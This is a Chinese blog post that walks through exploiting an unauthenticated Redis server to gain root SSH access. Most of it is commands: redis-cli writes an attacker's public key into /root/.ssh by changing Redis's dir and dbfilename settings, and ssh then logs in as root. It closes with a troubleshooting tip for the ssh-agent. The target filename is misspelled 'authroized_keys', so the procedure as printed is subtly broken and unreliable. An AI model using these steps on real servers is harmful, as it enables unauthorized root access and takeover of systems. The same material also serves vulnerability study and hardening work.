【漏洞復現】Redis未授權訪問漏洞

weixin_33830216發表於2018-02-20

0x01 漏洞簡介

Redis伺服器預設繫結在0.0.0.0:6379,這會導致redis暴露在公網上,在未經過認證的情況下,任何人都可以進行登入。攻擊者可以通過向redis上寫入公鑰,再利用私鑰進行登入。

利用redis的config命令,可以向伺服器上寫檔案,攻擊者通過將自己的公鑰寫入到伺服器的/root/.ssh資料夾下的authroized_key檔案中,即可成功登入到目標伺服器。

0x02 漏洞復現

首先,生成自己的公鑰和私鑰

ssh-keygen -t rsa

會在/root/.ssh下生成id_rsa(私鑰)、id_rsa.pub(公鑰)

然後將公鑰寫入到一個txt中

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > pino.txt

之後將該檔案的內容通過redis的config命令寫入到伺服器上

cat pino.txt|redis-cli -h 192.168.3.55 -x set pino
redis-cli -h 192.168.3.55
>config set dir /root/.ssh
>config set dbfilename "authroized_keys"
>save
>exit
7119304-c9f42d75d7441a04.png
process

到目前為止我們已經把自己的公鑰上傳到了伺服器上了,這個時候就可以通過私鑰來進行ssh登入了。

ssh -i id_rsa root@192.168.3.55

就可以成功登入到伺服器了。


7119304-4cf83d1ae7ef0f66.png
finish

0x02 遇到的問題及解決方案

如果之前一切順利後卻發現最後一步ssh登入報錯了,如下:
sign_and_send_pubkey: signing failed: agent refused operation

可以通過

eval "$(ssh-agent -s)"
ssh-add

解決

7119304-a146087e15b33ec5.png
error

如果還有什麼問題,歡迎私信交流~

相關文章